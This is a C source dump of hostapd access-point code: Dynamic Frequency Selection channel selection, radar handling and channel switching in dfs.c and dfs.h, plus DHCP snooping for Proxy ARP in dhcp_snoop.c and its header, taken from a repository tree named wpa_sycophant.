ARRAY_SIZE(allowed_160); break; default: wpa_printf(MSG_DEBUG, "Unknown width for %d channels", n_chans); break; } for (i = 0; i < allowed_no; i++) { if (chan->chan == allowed[i]) return 1; } return 0; } static struct hostapd_channel_data * dfs_get_chan_data(struct hostapd_hw_modes *mode, int freq, int first_chan_idx) { int i; for (i = first_chan_idx; i < mode->num_channels; i++) { if (mode->channels[i].freq == freq) return &mode->channels[i]; } return NULL; } static int dfs_chan_range_available(struct hostapd_hw_modes *mode, int first_chan_idx, int num_chans, int skip_radar) { struct hostapd_channel_data *first_chan, *chan; int i; if (first_chan_idx + num_chans > mode->num_channels) return 0; first_chan = &mode->channels[first_chan_idx]; for (i = 0; i < num_chans; i++) { chan = dfs_get_chan_data(mode, first_chan->freq + i * 20, first_chan_idx); if (!chan) return 0; if (!dfs_channel_available(chan, skip_radar)) return 0; } return 1; } static int is_in_chanlist(struct hostapd_iface *iface, struct hostapd_channel_data *chan) { if (!iface->conf->acs_ch_list.num) return 1; return freq_range_list_includes(&iface->conf->acs_ch_list, chan->chan); } /* * The function assumes HT40+ operation. * Make sure to adjust the following variables after calling this: * - hapd->secondary_channel * - hapd->vht_oper_centr_freq_seg0_idx * - hapd->vht_oper_centr_freq_seg1_idx */ static int dfs_find_channel(struct hostapd_iface *iface, struct hostapd_channel_data **ret_chan, int idx, int skip_radar) { struct hostapd_hw_modes *mode; struct hostapd_channel_data *chan; int i, channel_idx = 0, n_chans, n_chans1; mode = iface->current_mode; n_chans = dfs_get_used_n_chans(iface, &n_chans1); wpa_printf(MSG_DEBUG, "DFS new chan checking %d channels", n_chans); for (i = 0; i < mode->num_channels; i++) { chan = &mode->channels[i]; /* Skip HT40/VHT incompatible channels */ if (iface->conf->ieee80211n && iface->conf->secondary_channel && !dfs_is_chan_allowed(chan, n_chans)) continue; /* Skip incompatible chandefs */ if (!dfs_chan_range_available(mode, i, n_chans, skip_radar)) continue; if (!is_in_chanlist(iface, chan)) continue; if (ret_chan && idx == channel_idx) { wpa_printf(MSG_DEBUG, "Selected ch. #%d", chan->chan); *ret_chan = chan; return idx; } wpa_printf(MSG_DEBUG, "Adding channel: %d", chan->chan); channel_idx++; } return channel_idx; } static void dfs_adjust_vht_center_freq(struct hostapd_iface *iface, struct hostapd_channel_data *chan, int secondary_channel, u8 *vht_oper_centr_freq_seg0_idx, u8 *vht_oper_centr_freq_seg1_idx) { if (!iface->conf->ieee80211ac) return; if (!chan) return; *vht_oper_centr_freq_seg1_idx = 0; switch (iface->conf->vht_oper_chwidth) { case VHT_CHANWIDTH_USE_HT: if (secondary_channel == 1) *vht_oper_centr_freq_seg0_idx = chan->chan + 2; else if (secondary_channel == -1) *vht_oper_centr_freq_seg0_idx = chan->chan - 2; else *vht_oper_centr_freq_seg0_idx = chan->chan; break; case VHT_CHANWIDTH_80MHZ: *vht_oper_centr_freq_seg0_idx = chan->chan + 6; break; case VHT_CHANWIDTH_160MHZ: *vht_oper_centr_freq_seg0_idx = chan->chan + 14; break; default: wpa_printf(MSG_INFO, "DFS only VHT20/40/80/160 is supported now"); *vht_oper_centr_freq_seg0_idx = 0; break; } wpa_printf(MSG_DEBUG, "DFS adjusting VHT center frequency: %d, %d", *vht_oper_centr_freq_seg0_idx, *vht_oper_centr_freq_seg1_idx); } /* Return start channel idx we will use for mode->channels[idx] */ static int dfs_get_start_chan_idx(struct hostapd_iface *iface, int *seg1_start) { struct hostapd_hw_modes *mode; struct hostapd_channel_data *chan; int channel_no = iface->conf->channel; int res = -1, i; int chan_seg1 = -1; *seg1_start = -1; /* HT40- */ if (iface->conf->ieee80211n && iface->conf->secondary_channel == -1) channel_no -= 4; /* VHT */ if (iface->conf->ieee80211ac) { switch (iface->conf->vht_oper_chwidth) { case VHT_CHANWIDTH_USE_HT: break; case VHT_CHANWIDTH_80MHZ: channel_no = iface->conf->vht_oper_centr_freq_seg0_idx - 6; break; case VHT_CHANWIDTH_160MHZ: channel_no = iface->conf->vht_oper_centr_freq_seg0_idx - 14; break; case VHT_CHANWIDTH_80P80MHZ: channel_no = iface->conf->vht_oper_centr_freq_seg0_idx - 6; chan_seg1 = iface->conf->vht_oper_centr_freq_seg1_idx - 6; break; default: wpa_printf(MSG_INFO, "DFS only VHT20/40/80/160/80+80 is supported now"); channel_no = -1; break; } } /* Get idx */ mode = iface->current_mode; for (i = 0; i < mode->num_channels; i++) { chan = &mode->channels[i]; if (chan->chan == channel_no) { res = i; break; } } if (res != -1 && chan_seg1 > -1) { int found = 0; /* Get idx for seg1 */ mode = iface->current_mode; for (i = 0; i < mode->num_channels; i++) { chan = &mode->channels[i]; if (chan->chan == chan_seg1) { *seg1_start = i; found = 1; break; } } if (!found) res = -1; } if (res == -1) { wpa_printf(MSG_DEBUG, "DFS chan_idx seems wrong; num-ch: %d ch-no: %d conf-ch-no: %d 11n: %d sec-ch: %d vht-oper-width: %d", mode->num_channels, channel_no, iface->conf->channel, iface->conf->ieee80211n, iface->conf->secondary_channel, iface->conf->vht_oper_chwidth); for (i = 0; i < mode->num_channels; i++) { wpa_printf(MSG_DEBUG, "Available channel: %d", mode->channels[i].chan); } } return res; } /* At least one channel have radar flag */ static int dfs_check_chans_radar(struct hostapd_iface *iface, int start_chan_idx, int n_chans) { struct hostapd_channel_data *channel; struct hostapd_hw_modes *mode; int i, res = 0; mode = iface->current_mode; for (i = 0; i < n_chans; i++) { channel = &mode->channels[start_chan_idx + i]; if (channel->flag & HOSTAPD_CHAN_RADAR) res++; } return res; } /* All channels available */ static int dfs_check_chans_available(struct hostapd_iface *iface, int start_chan_idx, int n_chans) { struct hostapd_channel_data *channel; struct hostapd_hw_modes *mode; int i; mode = iface->current_mode; for (i = 0; i < n_chans; i++) { channel = &mode->channels[start_chan_idx + i]; if (channel->flag & HOSTAPD_CHAN_DISABLED) break; if (!(channel->flag & HOSTAPD_CHAN_RADAR)) continue; if ((channel->flag & HOSTAPD_CHAN_DFS_MASK) != HOSTAPD_CHAN_DFS_AVAILABLE) break; } return i == n_chans; } /* At least one channel unavailable */ static int dfs_check_chans_unavailable(struct hostapd_iface *iface, int start_chan_idx, int n_chans) { struct hostapd_channel_data *channel; struct hostapd_hw_modes *mode; int i, res = 0; mode = iface->current_mode; for (i = 0; i < n_chans; i++) { channel = &mode->channels[start_chan_idx + i]; if (channel->flag & HOSTAPD_CHAN_DISABLED) res++; if ((channel->flag & HOSTAPD_CHAN_DFS_MASK) == HOSTAPD_CHAN_DFS_UNAVAILABLE) res++; } return res; } static struct hostapd_channel_data * dfs_get_valid_channel(struct hostapd_iface *iface, int *secondary_channel, u8 *vht_oper_centr_freq_seg0_idx, u8 *vht_oper_centr_freq_seg1_idx, int skip_radar) { struct hostapd_hw_modes *mode; struct hostapd_channel_data *chan = NULL; int num_available_chandefs; int chan_idx; u32 _rand; wpa_printf(MSG_DEBUG, "DFS: Selecting random channel"); *secondary_channel = 0; *vht_oper_centr_freq_seg0_idx = 0; *vht_oper_centr_freq_seg1_idx = 0; if (iface->current_mode == NULL) return NULL; mode = iface->current_mode; if (mode->mode != HOSTAPD_MODE_IEEE80211A) return NULL; /* Get the count first */ num_available_chandefs = dfs_find_channel(iface, NULL, 0, skip_radar); if (num_available_chandefs == 0) return NULL; if (os_get_random((u8 *) &_rand, sizeof(_rand)) < 0) return NULL; chan_idx = _rand % num_available_chandefs; dfs_find_channel(iface, &chan, chan_idx, skip_radar); /* dfs_find_channel() calculations assume HT40+ */ if (iface->conf->secondary_channel) *secondary_channel = 1; else *secondary_channel = 0; dfs_adjust_vht_center_freq(iface, chan, *secondary_channel, vht_oper_centr_freq_seg0_idx, vht_oper_centr_freq_seg1_idx); return chan; } static int set_dfs_state_freq(struct hostapd_iface *iface, int freq, u32 state) { struct hostapd_hw_modes *mode; struct hostapd_channel_data *chan = NULL; int i; mode = iface->current_mode; if (mode == NULL) return 0; wpa_printf(MSG_DEBUG, "set_dfs_state 0x%X for %d MHz", state, freq); for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (chan->freq == freq) { if (chan->flag & HOSTAPD_CHAN_RADAR) { chan->flag &= ~HOSTAPD_CHAN_DFS_MASK; chan->flag |= state; return 1; /* Channel found */ } } } wpa_printf(MSG_WARNING, "Can't set DFS state for freq %d MHz", freq); return 0; } static int set_dfs_state(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2, u32 state) { int n_chans = 1, i; struct hostapd_hw_modes *mode; int frequency = freq; int ret = 0; mode = iface->current_mode; if (mode == NULL) return 0; if (mode->mode != HOSTAPD_MODE_IEEE80211A) { wpa_printf(MSG_WARNING, "current_mode != IEEE80211A"); return 0; } /* Seems cf1 and chan_width is enough here */ switch (chan_width) { case CHAN_WIDTH_20_NOHT: case CHAN_WIDTH_20: n_chans = 1; if (frequency == 0) frequency = cf1; break; case CHAN_WIDTH_40: n_chans = 2; frequency = cf1 - 10; break; case CHAN_WIDTH_80: n_chans = 4; frequency = cf1 - 30; break; case CHAN_WIDTH_160: n_chans = 8; frequency = cf1 - 70; break; default: wpa_printf(MSG_INFO, "DFS chan_width %d not supported", chan_width); break; } wpa_printf(MSG_DEBUG, "DFS freq: %dMHz, n_chans: %d", frequency, n_chans); for (i = 0; i < n_chans; i++) { ret += set_dfs_state_freq(iface, frequency, state); frequency = frequency + 20; } return ret; } static int dfs_are_channels_overlapped(struct hostapd_iface *iface, int freq, int chan_width, int cf1, int cf2) { int start_chan_idx, start_chan_idx1; struct hostapd_hw_modes *mode; struct hostapd_channel_data *chan; int n_chans, n_chans1, i, j, frequency = freq, radar_n_chans = 1; u8 radar_chan; int res = 0; /* Our configuration */ mode = iface->current_mode; start_chan_idx = dfs_get_start_chan_idx(iface, &start_chan_idx1); n_chans = dfs_get_used_n_chans(iface, &n_chans1); /* Check we are on DFS channel(s) */ if (!dfs_check_chans_radar(iface, start_chan_idx, n_chans)) return 0; /* Reported via radar event */ switch (chan_width) { case CHAN_WIDTH_20_NOHT: case CHAN_WIDTH_20: radar_n_chans = 1; if (frequency == 0) frequency = cf1; break; case CHAN_WIDTH_40: radar_n_chans = 2; frequency = cf1 - 10; break; case CHAN_WIDTH_80: radar_n_chans = 4; frequency = cf1 - 30; break; case CHAN_WIDTH_160: radar_n_chans = 8; frequency = cf1 - 70; break; default: wpa_printf(MSG_INFO, "DFS chan_width %d not supported", chan_width); break; } ieee80211_freq_to_chan(frequency, &radar_chan); for (i = 0; i < n_chans; i++) { chan = &mode->channels[start_chan_idx + i]; if (!(chan->flag & HOSTAPD_CHAN_RADAR)) continue; for (j = 0; j < radar_n_chans; j++) { wpa_printf(MSG_DEBUG, "checking our: %d, radar: %d", chan->chan, radar_chan + j * 4); if (chan->chan == radar_chan + j * 4) res++; } } wpa_printf(MSG_DEBUG, "overlapped: %d", res); return res; } static unsigned int dfs_get_cac_time(struct hostapd_iface *iface, int start_chan_idx, int n_chans) { struct hostapd_channel_data *channel; struct hostapd_hw_modes *mode; int i; unsigned int cac_time_ms = 0; mode = iface->current_mode; for (i = 0; i < n_chans; i++) { channel = &mode->channels[start_chan_idx + i]; if (!(channel->flag & HOSTAPD_CHAN_RADAR)) continue; if (channel->dfs_cac_ms > cac_time_ms) cac_time_ms = channel->dfs_cac_ms; } return cac_time_ms; } /* * Main DFS handler * 1 - continue channel/ap setup * 0 - channel/ap setup will be continued after CAC * -1 - hit critical error */ int hostapd_handle_dfs(struct hostapd_iface *iface) { struct hostapd_channel_data *channel; int res, n_chans, n_chans1, start_chan_idx, start_chan_idx1; int skip_radar = 0; if (!iface->current_mode) { /* * This can happen with drivers that do not provide mode * information and as such, cannot really use hostapd for DFS. */ wpa_printf(MSG_DEBUG, "DFS: No current_mode information - assume no need to perform DFS operations by hostapd"); return 1; } iface->cac_started = 0; do { /* Get start (first) channel for current configuration */ start_chan_idx = dfs_get_start_chan_idx(iface, &start_chan_idx1); if (start_chan_idx == -1) return -1; /* Get number of used channels, depend on width */ n_chans = dfs_get_used_n_chans(iface, &n_chans1); /* Setup CAC time */ iface->dfs_cac_ms = dfs_get_cac_time(iface, start_chan_idx, n_chans); /* Check if any of configured channels require DFS */ res = dfs_check_chans_radar(iface, start_chan_idx, n_chans); wpa_printf(MSG_DEBUG, "DFS %d channels required radar detection", res); if (!res) return 1; /* Check if all channels are DFS available */ res = dfs_check_chans_available(iface, start_chan_idx, n_chans); wpa_printf(MSG_DEBUG, "DFS all channels available, (SKIP CAC): %s", res ? "yes" : "no"); if (res) return 1; /* Check if any of configured channels is unavailable */ res = dfs_check_chans_unavailable(iface, start_chan_idx, n_chans); wpa_printf(MSG_DEBUG, "DFS %d chans unavailable - choose other channel: %s", res, res ? "yes": "no"); if (res) { int sec = 0; u8 cf1 = 0, cf2 = 0; channel = dfs_get_valid_channel(iface, &sec, &cf1, &cf2, skip_radar); if (!channel) { wpa_printf(MSG_ERROR, "could not get valid channel"); hostapd_set_state(iface, HAPD_IFACE_DFS); return 0; } iface->freq = channel->freq; iface->conf->channel = channel->chan; iface->conf->secondary_channel = sec; iface->conf->vht_oper_centr_freq_seg0_idx = cf1; iface->conf->vht_oper_centr_freq_seg1_idx = cf2; } } while (res); /* Finally start CAC */ hostapd_set_state(iface, HAPD_IFACE_DFS); wpa_printf(MSG_DEBUG, "DFS start CAC on %d MHz", iface->freq); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_CAC_START "freq=%d chan=%d sec_chan=%d, width=%d, seg0=%d, seg1=%d, cac_time=%ds", iface->freq, iface->conf->channel, iface->conf->secondary_channel, iface->conf->vht_oper_chwidth, iface->conf->vht_oper_centr_freq_seg0_idx, iface->conf->vht_oper_centr_freq_seg1_idx, iface->dfs_cac_ms / 1000); res = hostapd_start_dfs_cac(iface, iface->conf->hw_mode, iface->freq, iface->conf->channel, iface->conf->ieee80211n, iface->conf->ieee80211ac, iface->conf->secondary_channel, iface->conf->vht_oper_chwidth, iface->conf->vht_oper_centr_freq_seg0_idx, iface->conf->vht_oper_centr_freq_seg1_idx); if (res) { wpa_printf(MSG_ERROR, "DFS start_dfs_cac() failed, %d", res); return -1; } return 0; } static int hostapd_config_dfs_chan_available(struct hostapd_iface *iface) { int n_chans, n_chans1, start_chan_idx, start_chan_idx1; /* Get the start (first) channel for current configuration */ start_chan_idx = dfs_get_start_chan_idx(iface, &start_chan_idx1); if (start_chan_idx < 0) return 0; /* Get the number of used channels, depending on width */ n_chans = dfs_get_used_n_chans(iface, &n_chans1); /* Check if all channels are DFS available */ return dfs_check_chans_available(iface, start_chan_idx, n_chans); } int hostapd_dfs_complete_cac(struct hostapd_iface *iface, int success, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2) { wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_CAC_COMPLETED "success=%d freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", success, freq, ht_enabled, chan_offset, chan_width, cf1, cf2); if (success) { /* Complete iface/ap configuration */ if (iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) { /* Complete AP configuration for the first bring up. */ if (iface->state != HAPD_IFACE_ENABLED) hostapd_setup_interface_complete(iface, 0); else iface->cac_started = 0; } else { set_dfs_state(iface, freq, ht_enabled, chan_offset, chan_width, cf1, cf2, HOSTAPD_CHAN_DFS_AVAILABLE); /* * Just mark the channel available when CAC completion * event is received in enabled state. CAC result could * have been propagated from another radio having the * same regulatory configuration. When CAC completion is * received during non-HAPD_IFACE_ENABLED state, make * sure the configured channel is available because this * CAC completion event could have been propagated from * another radio. */ if (iface->state != HAPD_IFACE_ENABLED && hostapd_config_dfs_chan_available(iface)) { hostapd_setup_interface_complete(iface, 0); iface->cac_started = 0; } } } return 0; } int hostapd_dfs_pre_cac_expired(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2) { wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_PRE_CAC_EXPIRED "freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", freq, ht_enabled, chan_offset, chan_width, cf1, cf2); /* Proceed only if DFS is not offloaded to the driver */ if (iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) return 0; set_dfs_state(iface, freq, ht_enabled, chan_offset, chan_width, cf1, cf2, HOSTAPD_CHAN_DFS_USABLE); return 0; } static int hostapd_dfs_start_channel_switch_cac(struct hostapd_iface *iface) { struct hostapd_channel_data *channel; int secondary_channel; u8 vht_oper_centr_freq_seg0_idx = 0; u8 vht_oper_centr_freq_seg1_idx = 0; int skip_radar = 0; int err = 1; /* Radar detected during active CAC */ iface->cac_started = 0; channel = dfs_get_valid_channel(iface, &secondary_channel, &vht_oper_centr_freq_seg0_idx, &vht_oper_centr_freq_seg1_idx, skip_radar); if (!channel) { wpa_printf(MSG_ERROR, "No valid channel available"); return err; } wpa_printf(MSG_DEBUG, "DFS will switch to a new channel %d", channel->chan); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_NEW_CHANNEL "freq=%d chan=%d sec_chan=%d", channel->freq, channel->chan, secondary_channel); iface->freq = channel->freq; iface->conf->channel = channel->chan; iface->conf->secondary_channel = secondary_channel; iface->conf->vht_oper_centr_freq_seg0_idx = vht_oper_centr_freq_seg0_idx; iface->conf->vht_oper_centr_freq_seg1_idx = vht_oper_centr_freq_seg1_idx; err = 0; hostapd_setup_interface_complete(iface, err); return err; } static int hostapd_dfs_start_channel_switch(struct hostapd_iface *iface) { struct hostapd_channel_data *channel; int secondary_channel; u8 vht_oper_centr_freq_seg0_idx; u8 vht_oper_centr_freq_seg1_idx; int skip_radar = 1; struct csa_settings csa_settings; unsigned int i; int err = 1; wpa_printf(MSG_DEBUG, "%s called (CAC active: %s, CSA active: %s)", __func__, iface->cac_started ? "yes" : "no", hostapd_csa_in_progress(iface) ? "yes" : "no"); /* Check if CSA in progress */ if (hostapd_csa_in_progress(iface)) return 0; /* Check if active CAC */ if (iface->cac_started) return hostapd_dfs_start_channel_switch_cac(iface); /* * Allow selection of DFS channel in ETSI to comply with * uniform spreading. */ if (iface->dfs_domain == HOSTAPD_DFS_REGION_ETSI) skip_radar = 0; /* Perform channel switch/CSA */ channel = dfs_get_valid_channel(iface, &secondary_channel, &vht_oper_centr_freq_seg0_idx, &vht_oper_centr_freq_seg1_idx, skip_radar); if (!channel) { /* * If there is no channel to switch immediately to, check if * there is another channel where we can switch even if it * requires to perform a CAC first. */ skip_radar = 0; channel = dfs_get_valid_channel(iface, &secondary_channel, &vht_oper_centr_freq_seg0_idx, &vht_oper_centr_freq_seg1_idx, skip_radar); if (!channel) { wpa_printf(MSG_INFO, "%s: no DFS channels left, waiting for NOP to finish", __func__); return err; } iface->freq = channel->freq; iface->conf->channel = channel->chan; iface->conf->secondary_channel = secondary_channel; iface->conf->vht_oper_centr_freq_seg0_idx = vht_oper_centr_freq_seg0_idx; iface->conf->vht_oper_centr_freq_seg1_idx = vht_oper_centr_freq_seg1_idx; hostapd_disable_iface(iface); hostapd_enable_iface(iface); return 0; } wpa_printf(MSG_DEBUG, "DFS will switch to a new channel %d", channel->chan); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_NEW_CHANNEL "freq=%d chan=%d sec_chan=%d", channel->freq, channel->chan, secondary_channel); /* Setup CSA request */ os_memset(&csa_settings, 0, sizeof(csa_settings)); csa_settings.cs_count = 5; csa_settings.block_tx = 1; err = hostapd_set_freq_params(&csa_settings.freq_params, iface->conf->hw_mode, channel->freq, channel->chan, iface->conf->ieee80211n, iface->conf->ieee80211ac, secondary_channel, iface->conf->vht_oper_chwidth, vht_oper_centr_freq_seg0_idx, vht_oper_centr_freq_seg1_idx, iface->current_mode->vht_capab); if (err) { wpa_printf(MSG_ERROR, "DFS failed to calculate CSA freq params"); hostapd_disable_iface(iface); return err; } for (i = 0; i < iface->num_bss; i++) { err = hostapd_switch_channel(iface->bss[i], &csa_settings); if (err) break; } if (err) { wpa_printf(MSG_WARNING, "DFS failed to schedule CSA (%d) - trying fallback", err); iface->freq = channel->freq; iface->conf->channel = channel->chan; iface->conf->secondary_channel = secondary_channel; iface->conf->vht_oper_centr_freq_seg0_idx = vht_oper_centr_freq_seg0_idx; iface->conf->vht_oper_centr_freq_seg1_idx = vht_oper_centr_freq_seg1_idx; hostapd_disable_iface(iface); hostapd_enable_iface(iface); return 0; } /* Channel configuration will be updated once CSA completes and * ch_switch_notify event is received */ wpa_printf(MSG_DEBUG, "DFS waiting channel switch event"); return 0; } int hostapd_dfs_radar_detected(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2) { int res; wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_RADAR_DETECTED "freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", freq, ht_enabled, chan_offset, chan_width, cf1, cf2); /* Proceed only if DFS is not offloaded to the driver */ if (iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) return 0; if (!iface->conf->ieee80211h) return 0; /* mark radar frequency as invalid */ set_dfs_state(iface, freq, ht_enabled, chan_offset, chan_width, cf1, cf2, HOSTAPD_CHAN_DFS_UNAVAILABLE); /* Skip if reported radar event not overlapped our channels */ res = dfs_are_channels_overlapped(iface, freq, chan_width, cf1, cf2); if (!res) return 0; /* radar detected while operating, switch the channel. */ res = hostapd_dfs_start_channel_switch(iface); return res; } int hostapd_dfs_nop_finished(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2) { wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_NOP_FINISHED "freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", freq, ht_enabled, chan_offset, chan_width, cf1, cf2); /* Proceed only if DFS is not offloaded to the driver */ if (iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) return 0; /* TODO add correct implementation here */ set_dfs_state(iface, freq, ht_enabled, chan_offset, chan_width, cf1, cf2, HOSTAPD_CHAN_DFS_USABLE); /* Handle cases where all channels were initially unavailable */ if (iface->state == HAPD_IFACE_DFS && !iface->cac_started) hostapd_handle_dfs(iface); return 0; } int hostapd_is_dfs_required(struct hostapd_iface *iface) { int n_chans, n_chans1, start_chan_idx, start_chan_idx1, res; if (!iface->conf->ieee80211h || !iface->current_mode || iface->current_mode->mode != HOSTAPD_MODE_IEEE80211A) return 0; /* Get start (first) channel for current configuration */ start_chan_idx = dfs_get_start_chan_idx(iface, &start_chan_idx1); if (start_chan_idx == -1) return -1; /* Get number of used channels, depend on width */ n_chans = dfs_get_used_n_chans(iface, &n_chans1); /* Check if any of configured channels require DFS */ res = dfs_check_chans_radar(iface, start_chan_idx, n_chans); if (res) return res; if (start_chan_idx1 >= 0 && n_chans1 > 0) res = dfs_check_chans_radar(iface, start_chan_idx1, n_chans1); return res; } int hostapd_dfs_start_cac(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2) { wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_CAC_START "freq=%d chan=%d chan_offset=%d width=%d seg0=%d " "seg1=%d cac_time=%ds", freq, (freq - 5000) / 5, chan_offset, chan_width, cf1, cf2, 60); iface->cac_started = 1; return 0; } /* * Main DFS handler for offloaded case. * 2 - continue channel/AP setup for non-DFS channel * 1 - continue channel/AP setup for DFS channel * 0 - channel/AP setup will be continued after CAC * -1 - hit critical error */ int hostapd_handle_dfs_offload(struct hostapd_iface *iface) { wpa_printf(MSG_DEBUG, "%s: iface->cac_started: %d", __func__, iface->cac_started); /* * If DFS has already been started, then we are being called from a * callback to continue AP/channel setup. Reset the CAC start flag and * return. */ if (iface->cac_started) { wpa_printf(MSG_DEBUG, "%s: iface->cac_started: %d", __func__, iface->cac_started); iface->cac_started = 0; return 1; } if (ieee80211_is_dfs(iface->freq, iface->hw_features, iface->num_hw_features)) { wpa_printf(MSG_DEBUG, "%s: freq %d MHz requires DFS", __func__, iface->freq); return 0; } wpa_printf(MSG_DEBUG, "%s: freq %d MHz does not require DFS. Continue channel/AP setup", __func__, iface->freq); return 2; } wpa_sycophant-master/src/ap/dfs.h000066400000000000000000000023431377436615100173610ustar00rootroot00000000000000/* * DFS - Dynamic Frequency Selection * Copyright (c) 2002-2013, Jouni Malinen * Copyright (c) 2013-2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef DFS_H #define DFS_H int hostapd_handle_dfs(struct hostapd_iface *iface); int hostapd_dfs_complete_cac(struct hostapd_iface *iface, int success, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2); int hostapd_dfs_pre_cac_expired(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2); int hostapd_dfs_radar_detected(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2); int hostapd_dfs_nop_finished(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2); int hostapd_is_dfs_required(struct hostapd_iface *iface); int hostapd_dfs_start_cac(struct hostapd_iface *iface, int freq, int ht_enabled, int chan_offset, int chan_width, int cf1, int cf2); int hostapd_handle_dfs_offload(struct hostapd_iface *iface); #endif /* DFS_H */ wpa_sycophant-master/src/ap/dhcp_snoop.c000066400000000000000000000065611377436615100207420ustar00rootroot00000000000000/* * DHCP snooping for Proxy ARP * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/dhcp.h" #include "l2_packet/l2_packet.h" #include "hostapd.h" #include "sta_info.h" #include "ap_drv_ops.h" #include "x_snoop.h" #include "dhcp_snoop.h" static const char * ipaddr_str(u32 addr) { static char buf[17]; os_snprintf(buf, sizeof(buf), "%u.%u.%u.%u", (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, addr & 0xff); return buf; } static void handle_dhcp(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) { struct hostapd_data *hapd = ctx; const struct bootp_pkt *b; struct sta_info *sta; int exten_len; const u8 *end, *pos; int res, msgtype = 0, prefixlen = 32; u32 subnet_mask = 0; u16 tot_len; exten_len = len - ETH_HLEN - (sizeof(*b) - sizeof(b->exten)); if (exten_len < 4) return; b = (const struct bootp_pkt *) &buf[ETH_HLEN]; tot_len = ntohs(b->iph.tot_len); if (tot_len > (unsigned int) (len - ETH_HLEN)) return; if (WPA_GET_BE32(b->exten) != DHCP_MAGIC) return; /* Parse DHCP options */ end = (const u8 *) b + tot_len; pos = &b->exten[4]; while (pos < end && *pos != DHCP_OPT_END) { const u8 *opt = pos++; if (*opt == DHCP_OPT_PAD) continue; if (pos >= end || 1 + *pos > end - pos) break; pos += *pos + 1; if (pos >= end) break; switch (*opt) { case DHCP_OPT_SUBNET_MASK: if (opt[1] == 4) subnet_mask = WPA_GET_BE32(&opt[2]); if (subnet_mask == 0) return; while (!(subnet_mask & 0x1)) { subnet_mask >>= 1; prefixlen--; } break; case DHCP_OPT_MSG_TYPE: if (opt[1]) msgtype = opt[2]; break; default: break; } } if (msgtype == DHCPACK) { if (b->your_ip == 0) return; /* DHCPACK for DHCPREQUEST */ sta = ap_get_sta(hapd, b->hw_addr); if (!sta) return; wpa_printf(MSG_DEBUG, "dhcp_snoop: Found DHCPACK for " MACSTR " @ IPv4 address %s/%d", MAC2STR(sta->addr), ipaddr_str(be_to_host32(b->your_ip)), prefixlen); if (sta->ipaddr == b->your_ip) return; if (sta->ipaddr != 0) { wpa_printf(MSG_DEBUG, "dhcp_snoop: Removing IPv4 address %s from the ip neigh table", ipaddr_str(be_to_host32(sta->ipaddr))); hostapd_drv_br_delete_ip_neigh(hapd, 4, (u8 *) &sta->ipaddr); } res = hostapd_drv_br_add_ip_neigh(hapd, 4, (u8 *) &b->your_ip, prefixlen, sta->addr); if (res) { wpa_printf(MSG_DEBUG, "dhcp_snoop: Adding ip neigh table failed: %d", res); return; } sta->ipaddr = b->your_ip; } if (hapd->conf->disable_dgaf && is_broadcast_ether_addr(buf)) { for (sta = hapd->sta_list; sta; sta = sta->next) { if (!(sta->flags & WLAN_STA_AUTHORIZED)) continue; x_snoop_mcast_to_ucast_convert_send(hapd, sta, (u8 *) buf, len); } } } int dhcp_snoop_init(struct hostapd_data *hapd) { hapd->sock_dhcp = x_snoop_get_l2_packet(hapd, handle_dhcp, L2_PACKET_FILTER_DHCP); if (hapd->sock_dhcp == NULL) { wpa_printf(MSG_DEBUG, "dhcp_snoop: Failed to initialize L2 packet processing for DHCP packet: %s", strerror(errno)); return -1; } return 0; } void dhcp_snoop_deinit(struct hostapd_data *hapd) { l2_packet_deinit(hapd->sock_dhcp); hapd->sock_dhcp = NULL; } wpa_sycophant-master/src/ap/dhcp_snoop.h000066400000000000000000000011161377436615100207360ustar00rootroot00000000000000/* * DHCP snooping for Proxy ARP * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef DHCP_SNOOP_H #define DHCP_SNOOP_H #ifdef CONFIG_PROXYARP int dhcp_snoop_init(struct hostapd_data *hapd); void dhcp_snoop_deinit(struct hostapd_data *hapd); #else /* CONFIG_PROXYARP */ static inline int dhcp_snoop_init(struct hostapd_data *hapd) { return 0; } static inline void dhcp_snoop_deinit(struct hostapd_data *hapd) { } #endif /* CONFIG_PROXYARP */ #endif /* DHCP_SNOOP_H */ 